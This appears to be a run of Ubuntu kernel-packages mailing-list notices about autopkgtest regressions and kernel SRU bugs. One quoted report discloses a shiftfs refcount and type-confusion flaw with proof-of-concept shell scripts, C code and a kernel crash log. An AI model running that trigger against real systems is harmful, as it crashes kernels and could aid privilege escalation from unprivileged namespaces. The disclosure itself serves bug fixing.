interface driver ums-realtek [...] [ 13.477360] ums-realtek 1-5.1:1.0: USB Mass Storage device detected [ 13.509592] scsi host2: usb-storage 1-5.1:1.0 [ 14.544213] scsi 2:0:0:0: Direct-Access Generic- SD/MMC/MS PRO1.00 PQ: 0 ANSI: 4 [ 14.545237] sd 2:0:0:0: Attached scsi generic sg1 type 0 [ 14.549430] sd 2:0:0:0: [sdb] Attached SCSI removable disk [ 170.961728] scsi 2:0:0:0: rejecting I/O to dead device [ 170.962069] scsi 2:0:0:0: [sdb] Read Capacity(10) failed: Result: hostbyte=DID_OK driverbyte=DRIVER_ERROR [ 170.962073] scsi 2:0:0:0: [sdb] Sense not available. [ 171.985846] usb 1-5.1: new high-speed USB device number 8 using xhci_hcd [ 172.194299] usb 1-5.1: New USB device found, idVendor=0bda, idProduct=0153, bcdDevice=57.13 [ 172.194317] usb 1-5.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 172.194327] usb 1-5.1: Product: USB2.0-CRW [ 172.194338] usb 1-5.1: Manufacturer: Generic [ 172.194346] usb 1-5.1: SerialNumber: 2012092657120 [ 172.200625] ums-realtek 1-5.1:1.0: USB Mass Storage device detected [ 172.212503] scsi host2: usb-storage 1-5.1:1.0 [ 173.233036] scsi 2:0:0:0: Direct-Access Generic- SD/MMC/MS PRO1.00 PQ: 0 ANSI: 4 [ 173.233796] sd 2:0:0:0: Attached scsi generic sg1 type 0 [ 173.239620] sd 2:0:0:0: [sdb] Attached SCSI removable disk [ 329.654468] usb 1-5.1: USB disconnect, device number 8 [ 329.665905] scsi 2:0:0:0: rejecting I/O to dead device [ 329.665970] scsi 2:0:0:0: [sdb] Read Capacity(10) failed: Result: hostbyte=DID_OK driverbyte=DRIVER_ERROR [ 329.665976] scsi 2:0:0:0: [sdb] Sense not available. [ 330.701685] usb 1-5.1: new high-speed USB device
[Kernel-packages] [Bug 1838751] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for
bionic have finished running.
The following regressions have been reported in tests triggered by the package:
fsprotect/unknown (armhf)
Please visit the excuses page listed below and investigate the failures,
proceeding afterwards as per the StableReleaseUpdates policy regarding
autopkgtest regressions [1].
https://people.canonical.com/~ubuntu-archive/proposed-
migration/bionic/update_excuses.html#linux-bluefield
[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions
Thank you!
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1838751
Title:
Suspend to RAM(S3) does not wake up for latest megaraid and mpt3sas
adapters(SAS3.5 onwards)
Status in linux package in Ubuntu:
Fix Released
Status in linux-oem-osp1 package in Ubuntu:
Fix Released
Status in linux source package in Bionic:
Invalid
Status in linux-oem-osp1 source package in Bionic:
Fix Released
Status in linux source package in Disco:
Fix Released
Status in linux-oem-osp1 source package in Disco:
Fix Released
Bug description:
[Impact]
Latest megaraid_sas and mpt3sas adapters which support Resizable BAR
with 1 MB BAR size fails to initialize during system resume from S3
sleep.
As per our findings the issue is caused by the below upstream commit:
d3252ace0bc652a1a24446b6a549f969bf99 ("PCI: Restore resized BAR
state on resume")
We see that the same commit has been ported to UBUNTU18.X - PCI:
Restore resized BAR state on resume (bsc#1105355).
the fix has been submitted to upstream
https://patchwork.kernel.org/patch/11058689/
please include this patch in the upcoming releases.please let me know
if additional information required.
https://bugzilla.kernel.org/show_bug.cgi?id=203939
[Test case]
See that suspend/resume works correctly after applying the patch
[Regression potential]
slim, itself fixes a regression
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1838751/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1841977] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1841977 Title: shiftfs: drop entries from cache on unlink Status in linux package in Ubuntu: Fix Released Status in linux source package in Disco: Fix Released Bug description: SRU Justification Impact: LXD on Ubuntu runs on top of zfs by defaults. Users that make use of shiftfs for efficient id-shifting currently hit a bug where zfs is confused about the amount of space that is used in a dataset. For example, creating a file with 1GB of random data will increase the space used by the dataset by 1GB. When the file is removed via rm the space is not freed for zfs. This leads to zfs running out of space pretty quickly. This bug has been observed, described, and reproduced here https://discuss.linuxcontainers.org/t/trying-out-shiftfs/5155/9 . Stéphane Graber observed related issues. Regression Potential: Limited to shiftfs. This patch has been tested on various backends btrfs, dir, zfs to verify that it doesn't regress other workloads. Shiftfs now also aligns more closely with overlayfs on file deletion. Test Case: sudo snap install lxd sudo snap set lxd shiftfs.enable=true sudo systemctl restart snap.lxd.daemon sudo lxd init # make sure to select zfs as backend sudo lxc launch images:ubuntu/bionic b1 sudo lxc exec b1 -- dd if=/dev/urandom bs=1M count=1000 of=dummy.file sudo zfs list default/containers/b1 # will show +1GB sudo lxc exec b1 -- rm dummy.file sudo zfs list default/containers/b1 # will show +1GB on a non-fixed kernel and -1GB on a fixed kernel Target Kernels: All LTS kernels with shiftfs support. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1841977/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1836912] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1836912 Title: ipv4: enable route flushing in network namespaces Status in linux package in Ubuntu: Fix Released Status in linux source package in Disco: Fix Released Bug description: SRU Justification Impact: Tools such as vpnc try to flush routes when run inside network namespaces by writing 1 into /proc/sys/net/ipv4/route/flush. This currently does not work because flush is not enabled in non-initial network namespaces. Users have complained about this at various times (cf. Link: https://github.com/lxc/lxd/issues/4257). Fix: Enable /proc/sys/net/ipv4/route/flush inside non-initial network namespaces. Regression Potential: None, since this didn't use to work before. Since routes are per network namespace it is safe to enable /proc/sys/net/ipv4/route/flush in there. Test Case: Tested with LXD on a kernel with the patch applied and by running vpnc successfully. Target Kernels: All LTS kernels starting from 4.15. Kernel 5.3 has the patchset upstream. Patches: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5cdda5f1d6adde02da591ca2196f20289977dc56 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1836912/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1850967] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1850967 Title: bionic/linux-gcp-5.3: 5.3.0-1007.7~18.04.1 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-lrm series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Fix Released Status in Kernel SRU Workflow security-signoff series: Fix Released Status in Kernel SRU Workflow verification-testing series: Fix Released Status in linux package in Ubuntu: Invalid Status in linux source package in Bionic: Invalid Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1850481 packages: lrm: linux-restricted-modules-gcp-5.3 main: linux-gcp-5.3 meta: linux-meta-gcp-5.3 signed: linux-signed-gcp-5.3 phase: Ready for Testing phase-changed: Tuesday, 12. November 2019 19:22 UTC proposed-announcement-sent: true proposed-testing-requested: true reason: automated-testing: Ongoing -- testing in progress variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1850967/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848750] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1)
for bionic have finished running.
The following regressions have been reported in tests triggered by the package:
linux-gcp-5.3/unknown (amd64)
Please visit the excuses page listed below and investigate the failures,
proceeding afterwards as per the StableReleaseUpdates policy regarding
autopkgtest regressions [1].
https://people.canonical.com/~ubuntu-archive/proposed-
migration/bionic/update_excuses.html#linux-gcp-5.3
[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions
Thank you!
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1848750
Title:
Eoan update: 5.3.7 upstream stable release
Status in linux package in Ubuntu:
Invalid
Status in linux source package in Eoan:
Fix Committed
Bug description:
SRU Justification
Impact:
The upstream process for stable tree updates is quite similar
in scope to the Ubuntu SRU process, e.g., each patch has to
demonstrably fix a bug, and each patch is vetted by upstream
by originating either directly from a mainline/stable Linux tree or
a minimally backported form of that patch. The following upstream
stable patches should be included in the Ubuntu kernel:
* panic: ensure preemption is disabled during panic()
* UBUNTU: [Config] updateconfigs for USB_RIO500
* USB: rio500: Remove Rio 500 kernel driver
* USB: yurex: Don't retry on unexpected errors
* USB: yurex: fix NULL-derefs on disconnect
* USB: usb-skeleton: fix runtime PM after driver unbind
* USB: usb-skeleton: fix NULL-deref on disconnect
* xhci: Fix false warning message about wrong bounce buffer write length
* xhci: Prevent device initiated U1/U2 link pm if exit latency is too long
* xhci: Check all endpoints for LPM timeout
* xhci: Fix USB 3.1 capability detection on early xHCI 1.1 spec based hosts
* usb: xhci: wait for CNR controller not ready bit in xhci resume
* xhci: Prevent deadlock when xhci adapter breaks during init
* xhci: Increase STS_SAVE timeout in xhci_suspend()
* xhci: Fix NULL pointer dereference in xhci_clear_tt_buffer_complete()
* USB: adutux: fix use-after-free on disconnect
* USB: adutux: fix NULL-derefs on disconnect
* USB: adutux: fix use-after-free on release
* USB: iowarrior: fix use-after-free on disconnect
* USB: iowarrior: fix use-after-free on release
* USB: iowarrior: fix use-after-free after driver unbind
* USB: usblp: fix runtime PM after driver unbind
* USB: chaoskey: fix use-after-free on release
* USB: ldusb: fix NULL-derefs on driver unbind
* serial: uartlite: fix exit path null pointer
* serial: uartps: Fix uartps_major handling
* USB: serial: keyspan: fix NULL-derefs on open() and write()
* USB: serial: ftdi_sio: add device IDs for Sienna and Echelon PL-20
* USB: serial: option: add Telit FN980 compositions
* USB: serial: option: add support for Cinterion CLS8 devices
* USB: serial: fix runtime PM after driver unbind
* USB: usblcd: fix I/O after disconnect
* USB: microtek: fix info-leak at probe
* USB: dummy-hcd: fix power budget for SuperSpeed mode
* usb: renesas_usbhs: gadget: Do not discard queues in
usb_ep_set_{halt,wedge}()
* usb: renesas_usbhs: gadget: Fix usb_ep_set_{halt,wedge}() behavior
* usb: typec: tcpm: usb: typec: tcpm: Fix a signedness bug in
tcpm_fw_get_caps()
* usb: typec: ucsi: ccg: Remove run_isr flag
* usb: typec: ucsi: displayport: Fix for the mode entering routine
* USB: legousbtower: fix slab info leak at probe
* USB: legousbtower: fix deadlock on disconnect
* USB: legousbtower: fix potential NULL-deref on disconnect
* USB: legousbtower: fix open after failed reset request
* USB: legousbtower: fix use-after-free on release
* mei: me: add comet point (lake) LP device ids
* mei: avoid FW version request on Ibex Peak and earlier
* gpio: eic: sprd: Fix the incorrect EIC offset when toggling
* staging/fbtft: Depend on OF
* staging: bcm2835-audio: Fix draining behavior regression
* Staging: fbtft: fix memory leak in fbtft_framebuffer_alloc
* staging: rtl8188eu: fix HighestRate check in odm_ARFBRefresh_8188E()
* staging: vt6655: Fix memory leak in vt6655_probe
* iio: adc: hx711: fix bug in sampling of data
* iio: adc: ad799x: fix probe error handling
* iio: adc: axp288: Override TS pin bias current for some models
* iio: adc: stm32-adc: move registers definitions
* iio: adc: stm32-adc: fix a race when using several adcs with dma and irq
* iio: light: opt3001: fix mutex unlock race
* iio: light: add missing vcnl4040 of_compatible
* iio: accel: adxl372: Fix/remove limitation for FIFO samples
* iio: accel: adxl372: Fix push to buffers lost samples
* iio: accel: adxl372: Perform a reset at start up
* efivar/ssdt: Don't iterate over EFI vars if no SSDT override w
[Kernel-packages] [Bug 1848490] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1848490 Title: eoan: alsa/sof: Enable SOF_HDA link and codec Status in linux package in Ubuntu: Fix Committed Status in linux source package in Eoan: Fix Committed Bug description: [Impact] We tested the EOAN kernel on the LENOVO or Dell machines which have dmic directly connnected to PCH, the dmic didn't work. [Fix] We need to enable SOF_HDA link and codec, then the sof driver and Legacy HDA driver work together to make the dmic work. [Test Case] Install the latest 19.10 image, build a new kernel with this patch and replace the existing kernel, After installing the blacklist package (blacklist snd_hda_intel and snd_soc_skl) and ucm package, the dmic and all output devices (speaker/hdmi) work. [Regression Risk] Low, these configs are already enabled in the oem-b-osp1 kernel for a long time, and we tested it on many lenovo/dell machines witch have or have no dmic, all worked well. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1848490/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848648] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1848648 Title: eoan/linux: 5.3.0-19.20 -proposed tracker Status in Kernel SRU Workflow: Fix Released Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-lrm series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: Fix Released Status in Kernel SRU Workflow promote-to-updates series: Fix Released Status in Kernel SRU Workflow regression-testing series: Fix Released Status in Kernel SRU Workflow security-signoff series: Fix Released Status in Kernel SRU Workflow verification-testing series: Fix Released Status in linux package in Ubuntu: Invalid Status in linux source package in Eoan: Fix Released Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true bugs-spammed: true packages: lrm: linux-restricted-modules main: linux meta: linux-meta signed: linux-signed phase: Complete phase-changed: Tuesday, 22. October 2019 10:11 UTC proposed-announcement-sent: true proposed-testing-requested: true trackers: bionic/linux-hwe-edge: bug 1848645 eoan/linux-aws: bug 1848631 eoan/linux-azure: bug 1848632 eoan/linux-gcp: bug 1848635 eoan/linux-kvm: bug 1848642 eoan/linux-oracle: bug 1848644 eoan/linux-raspi2: bug 1848630 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1848648/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848788] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1848788 Title: linux won't build when new virtualbox version is present on the archive Status in linux package in Ubuntu: Fix Committed Status in linux source package in Bionic: Invalid Status in linux source package in Disco: Invalid Status in linux source package in Eoan: Fix Committed Status in linux source package in Focal: Fix Committed Bug description: [Impact] linux won't build. [Test case] Test that linux will build. [Regression potential] Failure to build linux or missing modules. --- dkms packages are gone from the archive when new versions are uploaded. dkms-build grab them from the existing sources on the builder, which will work when the expected versions are present on any of the configured sources. virtualbox, however, right now, only grabs it from the main archive, preventing builds when they have been superseded. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1848788/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1849682] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1849682 Title: [REGRESSION] md/raid0: cannot assemble multi-zone RAID0 with default_layout setting Status in linux package in Ubuntu: Incomplete Status in linux source package in Bionic: Fix Committed Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Incomplete Status in linux source package in Focal: Incomplete Bug description: This bug tracks the temporary revert of the upstream fix for a corruption issue. Bug 1850540 tracks the re-application of that fix once we have a full solution. Users of RAID0 arrays are susceptible to a corruption issue if: - The members of the RAID array are not all the same size[*] - Data has been written to the array while running kernels < 3.14 *and* >= 3.14. This is because of an change in v3.14 that accidentally changed how data was written - as described in the upstream commit message: https://github.com/torvalds/linux/commit/c84a1372df929033cb1a0441fb57bd3932f39ac9 To summarize, upstream is dealing with this by adding a versioned layout in v5.4, and that is being backported to stable kernels - which is why we're now seeing it. Layout version 1 is the pre-3.14 layout, version 2 is post 3.14. Mixing version 1 & version 2 layouts can cause corruption. However, unless a layout-version-aware kernel *created* the array, there's no way for the kernel to know which version(s) was used to write the existing data. This undefined mode is considered "Version 0", and the kernel will now refuse to start these arrays w/o user intervention. The user experience is pretty awful here. A user upgrades to the next SRU and all of a sudden their system stops at an (initramfs) prompt. A clueful user can spot something like the following in dmesg: Here's the message which , as you can see from the log in Comment #1, is hidden in a ton of other messages: [ 72.720232] md/raid0:md0: cannot assemble multi-zone RAID0 with default_layout setting [ 72.728149] md/raid0: please set raid.default_layout to 1 or 2 [ 72.733979] md: pers->run() failed ... mdadm: failed to start array /dev/md0: Unknown error 524 What that is trying to say is that you should determine if your data - specifically the data toward the end of your array - was most likely written with a pre-3.14 or post-3.14 kernel. Based on that, reboot with the kernel parameter raid0.default_layout=1 or raid0.default_layout=2 on the kernel command line. And note it should be *raid0.default_layout* not *raid.default_layout* as the message says - a fix for that message is now queued for stable: https://github.com/torvalds/linux/commit/3874d73e06c9b9dc15de0b7382fc223986d75571) IMHO, we should work with upstream to create a web page that clearly walks the user through this process, and update the error message to point to that page. I'd also like to see if we can detect this problem *before* the user reboots (debconf?) and help the user fix things. e.g. "We detected that you have RAID0 arrays that maybe susceptible to a corruption problem", guide the user to choosing a layout, and update the mdadm initramfs hook to poke the answer in via sysfs before starting the array on reboot. Note that it also seems like we should investigate backporting this to < 3.14 kernels. Imagine a user switching between the trusty HWE kernel and the GA kernel. References from users of other distros: https://blog.icod.de/2019/10/10/caution-kernel-5-3-4-and-raid0-default_layout/ https://www.linuxquestions.org/questions/linux-general-1/raid-arrays-not-assembling-4175662774/ [*] Which surprisingly is not the case reported in this bug - the user here had a raid0 of 8 identically-sized devices. I suspect there's a bug in the detection code somewhere. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1849682/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1850867] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1)
for bionic have finished running.
The following regressions have been reported in tests triggered by the package:
linux-gcp-5.3/unknown (amd64)
Please visit the excuses page listed below and investigate the failures,
proceeding afterwards as per the StableReleaseUpdates policy regarding
autopkgtest regressions [1].
https://people.canonical.com/~ubuntu-archive/proposed-
migration/bionic/update_excuses.html#linux-gcp-5.3
[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions
Thank you!
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1850867
Title:
refcount underflow and type confusion in shiftfs
Status in linux package in Ubuntu:
In Progress
Status in linux source package in Disco:
Fix Committed
Status in linux source package in Eoan:
Fix Committed
Status in linux source package in Focal:
In Progress
Bug description:
Tested on Ubuntu 19.10, kernel "5.3.0-19-generic #20-Ubuntu".
Ubuntu ships a filesystem "shiftfs" in fs/shiftfs.c in the kernel tree that
doesn't exist upstream. This filesystem can be mounted from user namespaces,
meaning that this is attack surface from unprivileged userspace in the default
installation.
There are two memory safety bugs around
shiftfs_btrfs_ioctl_fd_replace().
Bug 1: Flawed reference counting
In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):
src = fdget(oldfd);
if (!src.file)
return -EINVAL;
// src holds one reference (assuming multithreaded execution)
ret = shiftfs_real_fdget(src.file, lfd);
// lfd->file is a file* now, but shiftfs_real_fdget didn't take any
// extra references
fdput(src);
// this drops the only reference we were holding on src, and src was
// the only thing holding a reference to lfd->file. lfd->file may be
// dangling at this point.
if (ret)
return ret;
*newfd = get_unused_fd_flags(lfd->file->f_flags);
if (*newfd < 0) {
// always a no-op
fdput(*lfd);
return *newfd;
}
fd_install(*newfd, lfd->file);
// fd_install() consumes a counted reference, but we don't hold any
// counted references. so at this point, if lfd->file hasn't been freed
// yet, its refcount is one lower than it ought to be.
[...]
// the following code is refcount-neutral, so the refcount stays one too
// low.
if (ret)
shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);
shiftfs_real_fdget() is implemented as follows:
static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
struct shiftfs_file_info *file_info = file->private_data;
struct file *realfile = file_info->realfile;
lowerfd->flags = 0;
lowerfd->file = realfile;
/* Did the flags change since open? */
if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
return shiftfs_change_flags(lowerfd->file, file->f_flags);
return 0;
}
Therefore, the following PoC will cause reference count overdecrements; I ran
it
with SLUB debugging enabled and got the following splat:
===
user@ubuntu1910vm:~/shiftfs$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
#!/bin/sh
set -e
mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
touch mnt/tmpfs/foo
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs$ cat ioctl.c
#include
#include
#include
#include
#include
#include
int main(void) {
int root = open("mnt/shiftfs", O_RDONLY);
if (root == -1) err(1, "open shiftfs root");
int foofd = openat(root, "foo", O_RDONLY);
if (foofd == -1) err(1, "open foofd");
struct btrfs_ioctl_vol_args iocarg = {
.fd = foofd
};
ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
sleep(1);
void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
if (map != MAP_FAILED) munmap(map, 0x1000);
}
user@ubuntu1910vm:~/shiftfs$ ./run.sh
none on /home/user/shiftfs/mnt/tmpfs type tmpfs
(rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs
(rw,relatime,mark,passthrough=2)
[ 183.463452] general protection fault: [#1] SMP PTI
[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic
#20-Ubuntu
[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS
1.12.0-1 04/01/2014
[ 183.476830] RIP: 0010:shiftfs_
[Kernel-packages] [Bug 1849064] Autopkgtest regression report (linux-gcp-5.3/5.3.0-1008.9~18.04.1)
*** This bug is a duplicate of bug 1850486 *** https://bugs.launchpad.net/bugs/1850486 All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-gcp-5.3/unknown (amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-gcp-5.3 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1849064 Title: eoan/linux: 5.3.0-20.21 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Incomplete Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-lrm series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: In Progress Status in Kernel SRU Workflow security-signoff series: In Progress Status in Kernel SRU Workflow verification-testing series: In Progress Status in linux package in Ubuntu: Invalid Status in linux source package in Eoan: Confirmed Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of 